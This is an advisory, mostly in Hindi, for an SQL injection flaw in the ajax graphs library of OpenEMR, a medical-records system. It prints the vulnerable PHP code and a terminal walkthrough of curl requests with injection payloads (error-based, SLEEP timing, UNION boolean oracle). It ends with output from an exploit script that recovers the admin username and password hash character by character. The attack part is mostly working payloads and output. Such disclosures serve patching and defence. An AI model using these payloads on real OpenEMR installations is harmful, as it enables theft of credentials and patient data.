
CVE-2026-32127: SQL Injection Vulnerability in OpenEMR <8.0.0.1
कमजोरी CWE-89
SQL कमांड में प्रयुक्त विशेष तत्वों का अनुचित निष्प्रभावीकरण ('SQL इंजेक्शन') उत्पाद ऊपरी घटक से बाहरी-प्रभावित इनपुट का उपयोग करके SQL कमांड के सभी या भाग का निर्माण करता है, लेकिन यह विशेष तत्वों को निष्प्रभावी नहीं करता या गलत तरीके से निष्प्रभावी करता है, जो डाउनस्ट्रीम घटक को भेजे जाने पर इच्छित SQL कमांड को संशोधित कर सकते हैं। उपयोगकर्ता-नियंत्रित इनपुट में SQL सिंटैक्स के पर्याप्त हटाने या उद्धरण के बिना, उत्पन्न SQL क्वेरी उन इनपुट को सामान्य उपयोगकर्ता डेटा के बजाय SQL के रूप में व्याख्या करने का कारण बन सकती है। MITRE पर अधिक जानें।
OpenEMR 8.0.0 में ajax graphs लाइब्रेरी में SQL इंजेक्शन भेद्यता है जिसका शोषण प्रमाणित हमलावर कर सकते हैं। यह भेद्यता ajax graphs लाइब्रेरी में अपर्याप्त इनपुट सत्यापन के कारण मौजूद है।
भेद्यता ajax graphs लाइब्रेरी में होती है जहाँ name पैरामीटर में उपयोगकर्ता-प्रदत्त इनपुट को उचित स्वच्छता के बिना सीधे SQL क्वेरी में जोड़ा जाता है। यह हमलावरों को दुर्भावनापूर्ण SQL कोड इंजेक्ट करने की अनुमति देता है।
भेद्यता निम्नलिखित फ़ाइलों को प्रभावित करती है:
कोड:
$name = trim((string) $_POST['name']);
...
function graphsGetValues($name)
{
global $is_lbf, $pid, $table;
if ($is_lbf) {
// Like below, but for LBF data.
$values = sqlStatement(
"SELECT " .
"ld.field_value AS " . add_escape_custom($name) . ", " .
// If data was entered retroactively then cannot use the data entry date.
"IF (LEFT(f.date, 10) = LEFT(fe.date, 10), f.date, fe.date) AS date " .
"FROM forms AS f, form_encounter AS fe, lbf_data AS ld WHERE " .
"f.pid = ? AND " .
"f.formdir = ? AND " .
"f.deleted = 0 AND " .
"fe.pid = f.pid AND fe.encounter = f.encounter AND " .
"ld.form_id = f.form_id AND " .
"ld.field_id = ? AND " .
"ld.field_value != '0' " .
"ORDER BY date",
[$pid, $table, $name]
);
}
...
}
...
if ($table) {
// Like below, but for LBF data.
$values = graphsGetValues($name);
}
┌──(kali㉿kali)-[~]
└─$ curl -k -b "OpenEMR=84c7dded187f7601e7f0cd3d0a1780f2" --data 'csrf_token_form=583918e787c3d7816d9cb522ab103d099e55b603&name=payload"injection&table=LBF' 'http://172.18.0.3/library/ajax/graphs.php'
SQL Statement failed on preparation: SELECT ld.field_value AS payload\"injection, IF (LEFT(f.date, 10) = LEFT(fe.date, 10), f.date, fe.date) AS date FROM forms AS f, form_encounter AS fe, lbf_data AS ld WHERE f.pid = ? AND f.formdir = ? AND f.deleted = 0 AND fe.pid = f.pid AND fe.encounter = f.encounter AND ld.form_id = f.form_id AND ld.field_id = ? AND ld.field_value != '0' ORDER BY date'<br>
<h2><font color='red'>Query Error</font></h2><p><font color='red'>ERROR:</font> query failed: SELECT ld.field_value AS payload\"injection, IF (LEFT(f.date, 10) = LEFT(fe.date, 10), f.date, fe.date) AS date FROM forms AS f, form_encounter AS fe, lbf_data AS ld WHERE f.pid = ? AND f.formdir = ? AND f.deleted = 0 AND fe.pid = f.pid AND fe.encounter = f.encounter AND ld.form_id = f.form_id AND ld.field_id = ? AND ld.field_value != '0' ORDER BY date</p><p>Error: <font color='red'>You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '\"injection, IF (LEFT(f.date, 10) = LEFT(fe.date, 10), f.date, fe.date) AS da...' at line 1</font></p><br />/var/www/localhost/htdocs/openemr/library/ajax/graphs.php at 74:sqlStatement<br />/var/www/localhost/htdocs/openemr/library/ajax/graphs.php at 185:graphsGetValues(payload"injection)
┌──(kali㉿kali)-[~]
└─$ curl -k -b "OpenEMR=84c7dded187f7601e7f0cd3d0a1780f2" --data 'csrf_token_form=583918e787c3d7816d9cb522ab103d099e55b603&name=date,SLEEP(5)%20FROM%20(SELECT%201%20AS%20field_value)%20AS%20ld%20UNION%20SELECT%20ld.field_value%20AS%20date&table=LBF' 'http://172.18.0.3/library/ajax/graphs.php'
┌──(kali㉿kali)-[~]
└─$ curl -k -b "OpenEMR=84c7dded187f7601e7f0cd3d0a1780f2" --data 'csrf_token_form=583918e787c3d7816d9cb522ab103d099e55b603&name=date,SLEEP(1)%20FROM%20(SELECT%20NULL%20AS%20field_value)%20AS%20ld%20UNION%20SELECT%201%20AS%20date,1%20UNION%20SELECT%20ld.field_value%20AS%20date&table=LBF' 'http://172.18.0.3/library/ajax/graphs.php'
{"data_final":"Date\t\n","title":""}
┌──(kali㉿kali)-[~]
└─$
SELECT ld.field_value AS <injection>, IF (LEFT(f.date, 10) = LEFT(fe.date, 10), f.date, fe.date) AS date FROM forms AS f, form_encounter AS fe, lbf_data AS ld WHERE f.pid = ? AND f.formdir = ? AND f.deleted = 0 AND fe.pid = f.pid AND fe.encounter = f.encounter AND ld.form_id = f.form_id AND ld.field_id = ? AND ld.field_value != '0' ORDER BY date
date,SLEEP(1) FROM (SELECT NULL AS field_value) AS ld UNION SELECT 1 AS date,1 UNION SELECT ld.field_value AS date
परीक्षण:
MariaDB [openemr]> SELECT ld.field_value AS date, 1 FROM (SELECT 1 AS field_value) AS ld JOIN (SELECT 1 AS n UNION ALL SELECT 2 UNION ALL SELECT 3 UNION ALL SELECT 4 UNION ALL SELECT 5) AS numbers WHERE 0 UNION ALL SELECT ld.field_value AS date, IF (LEFT(f.date, 10) = LEFT(fe.date, 10), f.date, fe.date) AS date FROM forms AS f, form_encounter AS fe, lbf_data AS ld WHERE f.pid = 1 AND f.formdir = 2 AND f.deleted = 0 AND fe.pid = f.pid AND fe.encounter = f.encounter AND ld.form_id = f.form_id AND ld.field_id = 3 AND ld.field_value != '0' ORDER BY date;
Empty set (0.001 sec)
MariaDB [openemr]> SELECT ld.field_value AS date, 1 FROM (SELECT 1 AS field_value) AS ld JOIN (SELECT 1 AS n UNION ALL SELECT 2 UNION ALL SELECT 3 UNION ALL SELECT 4 UNION ALL SELECT 5) AS numbers WHERE 1 UNION ALL SELECT ld.field_value AS date, IF (LEFT(f.date, 10) = LEFT(fe.date, 10), f.date, fe.date) AS date FROM forms AS f, form_encounter AS fe, lbf_data AS ld WHERE f.pid = 1 AND f.formdir = 2 AND f.deleted = 0 AND fe.pid = f.pid AND fe.encounter = f.encounter AND ld.form_id = f.form_id AND ld.field_id = 3 AND ld.field_value != '0' ORDER BY date;
+------+------+
| date | 1 |
+------+------+
| 1 | 1 |
| 1 | 1 |
| 1 | 1 |
| 1 | 1 |
| 1 | 1 |
+------+------+
5 rows in set (0.001 sec)
MariaDB [openemr]>
अंतिम:
date, 1 FROM (SELECT 1 AS field_value) AS ld JOIN (SELECT 1 AS n UNION ALL SELECT 2 UNION ALL SELECT 3 UNION ALL SELECT 4 UNION ALL SELECT 5) AS numbers WHERE 1 UNION ALL SELECT ld.field_value AS date
अंतिम पेलोड का परीक्षण करें:
┌──(kali㉿kali)-[~]
└─$ curl -k -b "OpenEMR=84c7dded187f7601e7f0cd3d0a1780f2" --data 'csrf_token_form=583918e787c3d7816d9cb522ab103d099e55b603&name=date%2C%201%20FROM%20%28SELECT%201%20AS%20field_value%29%20AS%20ld%20JOIN%20%28SELECT%201%20AS%20n%20UNION%20ALL%20SELECT%202%20UNION%20ALL%20SELECT%203%20UNION%20ALL%20SELECT%204%20UNION%20ALL%20SELECT%205%29%20AS%20numbers%20WHERE%201%20UNION%20ALL%20SELECT%20ld.field_value%20AS%20datedate&table=LBF' 'http://172.18.0.3/library/ajax/graphs.php'
{"data_final":"Date\t\n","title":""}
┌──(kali㉿kali)-[~]
└─$ curl -k -b "OpenEMR=84c7dded187f7601e7f0cd3d0a1780f2" --data 'csrf_token_form=583918e787c3d7816d9cb522ab103d099e55b603&name=date%2C%201%20FROM%20%28SELECT%201%20AS%20field_value%29%20AS%20ld%20JOIN%20%28SELECT%201%20AS%20n%20UNION%20ALL%20SELECT%202%20UNION%20ALL%20SELECT%203%20UNION%20ALL%20SELECT%204%20UNION%20ALL%20SELECT%205%29%20AS%20numbers%20WHERE%200%20UNION%20ALL%20SELECT%20ld.field_value%20AS%20datedate&table=LBF' 'http://172.18.0.3/library/ajax/graphs.php'
┌──(kali㉿kali)-[~]
└─$
डेटा निष्कर्षण:
┌──(kali㉿kali)-[~]
└─$ python3 exploit3.py 172.18.0.3 84c7dded187f7601e7f0cd3d0a1780f2 583918e787c3d7816d9cb522ab103d099e55b603 users_secure --columns username password password_history1 password_history2 password_history3 password_history4
[#] Row count for table: users_secure 1
[#] String length: users_secure.username 0 5
[>] Character recovered: a
[>] Character recovered: d
[>] Character recovered: m
[>] Character recovered: i
[>] Character recovered: n
[+] Extracted string: ascii users_secure username 0 admin
[#] String length: users_secure.password 0 60
[>] Character recovered: $
[>] Character recovered: 2
[>] Character recovered: y
[>] Character recovered: $
[>] Character recovered: 1
[>] Character recovered: 2
[>] Character recovered: $
[>] Character recovered: g
[>] Character recovered: 4
[>] Character recovered: T
[>] Character recovered: y
[>] Character recovered: s
[>] Character recovered: 1
[>] Character recovered: l
[>] Character recovered: x
[>] Character recovered: A
[>] Character recovered: f
[>] Character recovered: t
[>] Character recovered: B
[>] Character recovered: I
[>] Character recovered: u
[>] Character recovered: x
[>] Character recovered: y
[>] Character recovered: w
[>] Character recovered: o
[>] Character recovered: 5
[>] Character recovered: L
[>] Character recovered: z
[>] Character recovered: e
[>] Character recovered: V
[>] Character recovered: 7
[>] Character recovered: W
[>] Character recovered: 7
[>] Character recovered: a
[>] Character recovered: L
[>] Character recovered: B
[>] Character recovered: z
[>] Character recovered: O
[>] Character recovered: X
[>] Character recovered: g
[>] Character recovered: a
[>] Character recovered: C
[>] Character recovered: g
[>] Character recovered: U
[>] Character recovered: e
[>] Character recovered: v
[>] Character recovered: Z
[>] Character recovered: x
[>] Character recovered: A
[>] Character recovered: Y
[>] Character recovered: Q
[>] Character recovered: a
[>] Character recovered: X
[>] Character recovered: 0
[>] Character recovered: c
[>] Character recovered: y
[>] Character recovered: c
[>] Character recovered: 2
[>] Character recovered: i
[>] Character recovered: O
[+] Extracted string: ascii users_secure password 0 $2y$12$g4Tys1lxAftBIuxywo5LzeV7W7aLBzOXgaCgUevZxAYQaX0cyc2iO
[#] String length: users_secure.password_history1 0 0
[#] String length: users_secure.password_history2 0 0
[#] String length: users_secure.password_history3 0 0
[#] String length: users_secure.password_history4 0 0
┌──(kali㉿kali)-[~]
└─$